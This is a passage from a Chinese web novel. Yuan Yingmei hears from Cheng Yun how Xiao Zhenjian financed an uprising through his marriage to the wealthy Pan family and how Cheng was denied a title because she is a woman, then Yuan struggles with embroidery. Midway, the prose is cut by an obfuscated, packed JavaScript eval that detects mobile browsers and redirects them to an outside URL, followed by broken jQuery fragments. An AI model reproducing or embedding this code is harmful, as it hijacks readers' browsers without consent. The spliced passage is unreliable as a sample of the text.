元楹楣说完，朝众人行礼后退出了堂厅，不再执着于偷听。


    心情有些沉郁。


    即便如此，她也希望白佑霖能将她的方略摆出来探讨，哪怕需要修正，还有待商榷。


    这场商讨持续了一整日，人进进出出，饭食也在屋里用的，茶水续了无数次。


    元楹楣坐在廊下呆呆地看着，庭院里腊梅花馥郁香浓，她逐渐神思飘远。


    直至落日余晖，程芸从屋里出来，满脸写着不愉快，瞧见元楹楣还在外头坐着，立马换上笑容，“陈姑娘，你还没走啊？”


    元楹楣微笑点头，“嗯，等着将军呢。”


    “等他干啥啊！那么讨厌的人！坏人！”程芸坐到元楹楣身边，对白佑霖一顿骂。


    元楹楣记得白佑霖对她大加赞誉，很是喜欢这个妹妹呢，她白日里拉着自己说话的样子，也与白佑霖十分亲近，怎的此刻骂上了。


    她生出一丝好奇，扬眉问道，“怎么，将军做了什么恶事？”


    “他不给我去打仗！”程芸怨声载道，“说好要让我立功，却回回不给我事情做！不让我打仗我怎么立功嘛？”


    元楹楣不敢太过冒进，假意道，“兴许他是担心你的安危。”


    “呸！就是瞧不起我！瞧不起女人！”程芸转过头望着元楹楣，眼里的怒火越烧越旺，“对！就是这样！”


    “今日你提的计策多好！他和张栩还当着那么多人的面说你道听途说，把你撵出来！”


    “你走了以后，他们又觉着你说的计策好，计划全变了！气死我了，就是瞧不起咱女的！”


    元楹楣一时喜上眉梢，憋回去了，附和着程芸的话，“可不嘛！用我的计策，还不肯承认我好！哼！”


    程芸拍拍元楹楣的肩，“你别伤心了，等我立了军功，一定昭告所有人，这计策是你提的！”


    元楹楣怔了怔，不禁喃喃道，“姑娘人真好啊。”


    程芸得意洋洋笑了，“那是！我什么人！耗子妹！”


    “为什么叫耗子妹呢？”


    “说来话长了。”程芸回忆道，“我小时候是破要饭的，要饭可厉害了，比那些男娃子要得都多！我只要梳两个小辫儿，去那街上一哭，就会有人丢两个铜板给我。”


    元楹楣心颤了两下，又是一个吃不饱饭的，张栩吃不饱饭，白佑霖也吃不饱饭。


    她一直知道有人吃不饱饭，也想过如何让百姓都吃得饱，但没做到就是没做到，此刻如坐针毡，面上却微笑不减。


    程芸继续道，“我得了钱，才不会像那些男娃拿去买酒喝，我就攒，跑深山老林里头去，找个石头缝藏起来，一攒就十年！”


    “后来遇见了佑霖哥，跟他做了土匪，他带着我劫富济贫，钱就多了，我也全攒起来。”


    元楹楣目光不自觉落在她领口，都磨出毛边儿了，一根马尾辫束在头顶，发绳也是毛边的。


    她没有说话。


    “后来咱哥就跟着纪统领起义去了。”


    元楹楣凝神，纪统领说的该是纪南风，她接话，“后来呢？”


    “起义不是要钱么？那会儿平西王抠抠搜搜，不肯拿钱给咱哥的兵买甲胄，要他们穿着个破衣烂衫，去跟虞军打，还打先锋！虞军多有钱啊！满身银甲，拿刀捅个几下都捅不到人。”


    “那时候，平西王还在看美人跳舞呢！给我哥急坏了！他当时就不想干了，说不能让自家兄弟当冤大头。”


    元楹楣回忆着自己那个皇叔，戍边多年，在军中威望不低，身上酒色财气很重，但挺讲义气，尤爱结交各路草莽英雄，所以才招揽了纪南风与萧臻简这样的人。


    “平西王不肯出军费，那后来怎么又继续起义了？”元楹楣问道。


    “二哥筹的。”


    二哥是指萧臻简，元楹楣凝神屏息。


    “二哥他忽然就和潘家大小姐成婚了，潘家出了很多钱。”


    潘家二字吸引了元楹楣，在虞国，潘氏分好几支，但无论哪一支，都十分富庶，要是各地的潘氏加在一起，说富可敌国也不为过。


    她之前听骜丹说过皇后姓潘，却不知是哪一家。


    “潘小姐是哪家的姑娘？”元楹楣追问。


    “潘玉兰，喔！要改叫皇后娘娘了！她是陇西潘家的女儿，人长得漂亮，又有钱。二哥和潘小姐成婚后，潘家就说要为哥哥筹钱，召百姓们借商钱，战后以双倍奉还，还加官进爵呢！”


    “用的什么名义？”元楹楣道，“毕竟那时候募兵会被当成是谋反。”


    “二哥可聪明了，他当时召集的名义是为讨伐达鲁的征西军募兵，一边募兵，一边借商钱。最后还将他们的喜钱全给哥哥做了军费。”


    元楹楣蹙了眉，思绪万千，也就是说，萧臻简之所以能成为皇帝，是因为同潘家结亲，得到了整个潘家的支持，同时以成亲笼络当地商贾，让当地商贾仰仗着他与潘氏而得到双倍钱财，以及加官进爵。


    如此一来，萧臻简并非毫无势力，而是因为占据了财权，所以才能当上皇帝！


    她瞬间想明白了，萧臻简也不是省油的灯。


    程芸呵呵笑着，“我也出了钱，那日跑去那深山老林，将我藏的钱全找出来了，足足有二百两啊！”


    元楹楣目露惊叹，“二百两的确很多！”


    “你瞧，我是不是很厉害！他们都笑话我是耗子，看起来穷酸破烂，竟能拿出二百两来，惊掉他们下巴！”


    元楹楣轻笑两声，“将军是不是还不如你富有？”


    “那当然！哥哥的钱拿去盖房子，又给家里病人治病，还管我借过钱呢！原本我想全交给我哥，但他要我交给二哥，战后他们还我四百两，还给我加官进爵！”


    “那现在他们还你了？加官进爵了没？”


    说到此处，程芸脸色立马阴沉，“钱是还了，但我是女的，他们怎么可能给我加官进爵！气死我了！说等我嫁人，给我丈夫封爵位。”


    “丈夫！丈个屁的夫！连个影儿都没有，凭什么给他加官进爵！”


    “你别瞧我天天跟在我哥身边进进出出，我连一官半职都没有，别人喊我将军，我没那脸应！人家张栩都当官了，就我像个耗子一样，天天这里跑那里跑，杂事做了一堆，领不到一点俸禄！”


    “也不知那前虞狗皇帝立的什么法，女子就不能有爵位了？”


    元楹楣倒吸一口气，而后长长吐出，“可不嘛！”


    “狗皇帝！”


    “幽愍帝真不当人！”


    她情不自禁骂出了口，骂得是那般真情实感，她要是个官，是否就能真真切切向那些官员下达命令，而不是用那张嘴皮一遍遍游说诱骗，反反复复拉上曲弥欣，太子来为自己撑场子。


    多曲折啊。


    嫁给曲弥欣前，她借着一个名为芙蕖夫人替夫为官的事，同她父皇求过，元楹楣那时候学着别人写折子，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982977|188868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    替芙蕖夫人正名，也想为自己谋个官职，可那折子，直至亡国，都没有回应。


    心情又是那般复杂，撕扯，凌乱。


    同时也有侥幸，侥幸梁国所谓的新，也没新到哪儿去，仍是那般腐朽，残破。


    她只能转移话题，伸手抚着程芸的领子，“新朝开国，你出了力气也出了钱，怎么也该得到回报。瞧你，衣裳穿旧了也舍不得换。”


    “是啊！”程芸突然瞧见她头发上有支木簪子，很是漂亮，她心下跳动，“你长得真好看，穿衣裳也好看，怪不得我哥稀罕你呢！”


    “你也好看呀。”元楹楣歪了歪头，眸光潋滟，“我给你制一件衣裳，可好？”


    “好啊！”程芸欣喜不已，“我现在穿这件还是丹儿姐和大娘给我缝的呢！”


    程芸牵出领子，“你瞧你瞧，丹儿姐手可巧，这上头的瓶花纹是她一针一线绣的，保佑我平平安安，富富贵贵，多亏了这衣裳，我现在又平安又富贵！”


    元楹楣傻在原地。


    她说的制衣裳，是找裁缝来量身定制，而不是亲手绣啊！


    她不会。


    还没来得及解释，人就抱过来了，将元楹楣勒得紧紧的，“有嫂子就是好啊！哥娶媳妇儿，我享福！”


    “你不知道，这些大老爷们糙得很！都没人给我张罗，我也想穿件新衣裳！”


    呃……


    话都说出来了，元楹楣难以拒绝，只能含泪点头。


    当天夜里，她便开始勤学苦练。


    女红她并非没学过，儿时母妃天一亮就坐在院中开始绣，除了吃饭写字请安读书全在绣，她也被逼着学过，奈何她是个坐不住的，天天只想往外头跑。


    绣花这般精细的活儿，没有天赋，又不多加练习，学不成。


    白佑霖商讨完战略，同众将去喝了酒才回来。


    耳房里头烛火明亮，他探头望去，她正坐在灯下穿针引线，稀奇的模样，安静温婉，太难得了！


    只要她不到处找人叽叽呱呱说一堆，一副妖女模样，他就放心得很！


    如此，便能奢望将她娶回家，岁月静好，一家人幸幸福福，别提多美满了。


    白佑霖晚上一般不找她，他定力一般，夜里又容易想得多，会做些莫名其妙的事，便没主动找她说话。


    白佑霖去床上躺了会儿，今夜的烈酒开始让人发昏，心思酝酿着，忽然就觉察出一丝凉意。


    多久没有好好过年了，也不知儿子长多高，大姐病好些了没，还有那傻妹子是不是一样的傻，他们又是怎么过年的呢？


    心里生出了空虚，他想找人说说话。


    他蓦地朝耳房那方喊，“陈七！”


    元楹楣眼睛要瞎了，那针始终落不到该在的位置，更别说图案了。


    她不想回应。


    反正人家也没将她当做陈萋，她是元楹楣！


    白佑霖没得到回应，又喊了两声，还是没有回应。


    人急了！


    怫然不悦地冲进了耳房，气呼呼对她一顿骂，“耳朵听不见？”


    元楹楣头也不抬，“你不是天天唤我元楹楣么，怎么又唤我陈萋了？”


    白佑霖气得呀，一口气快喷出嗓子眼了，咬牙切齿想要骂人，可话一出口又朝着他不可控制的方向去。


    “白日我也觉着你的计策好。”


    “我……不得不那样说。”


    “你别气了。”